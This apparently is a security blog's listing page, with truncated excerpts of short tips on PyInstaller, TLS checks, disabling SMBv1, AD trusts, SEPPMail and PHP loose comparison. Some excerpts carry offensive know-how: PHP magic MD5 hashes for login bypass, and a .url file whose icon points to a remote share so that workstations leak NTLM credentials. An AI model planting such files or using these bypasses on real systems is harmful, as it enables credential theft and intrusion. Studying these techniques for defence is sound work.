Turn Python scripts into Windows exe file

pyinstaller -i toto.ico -w -F toto.py Medium article : https://medium.com/dreamcatcher-its-blog/making-an-stand-alone-executable-from-a-python-script-using-pyinstaller-d1df9170e263 Another one which I don’t agree, as yes, payload is undetected by execute will...

Get TLS content or check service

Reading Time: < 1 minuteIn the olden days, we did for example telnet mailserver 110, and then we could get the combination of username/password or other checks.With all being TLS/SSL, here is a way to do the way but with a TLS underlay.openssl s_client -connect...

Disable SMBv1

Reading Time: < 1 minuteTime to disable SMBv1 ! https://support.microsoft.com/en-gb/help/2696547/detect-enable-disable-smbv1-smbv2-smbv3-in-windows-and-windows-server Win 8 : Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol Win10 :...

Windows AD Trust Types

Reading Time: < 1 minutenltest /trusted_domains will produce the list of trusted domains and the relationship of the trust (birectionnal and so on...

SEPPMail cluster

Reading Time: < 1 minutewhen there is a cluster in SEPPMail The config sync is done via SSH with a Public Key. The username used is the clusterID If you need to connect to a device, use the key to...

MD5 magics hashes

Reading Time: < 1 minuteFor PHP Loose comparison240610708 = 0e462097431906509019562988736854ximaz = 61529519452809720693702583126814 Other Magic hashes web site :...

PHP Loose compare

Reading Time: < 1 minuteif == strcomp then replace with array=[]if String, replace with true All == should be replace with === to be sure to keep the type of...

Provoc NTLM leak

Reading Time: < 1 minutegenerate a file toto.url with the following content [InternetShortcut] URL=https://www.google.com/  IconIndex=0  IconFile=\\1.2.3.4\leak\leak.ico Place the toto.url file on a sharedrive. Many workstations will try to get the ico...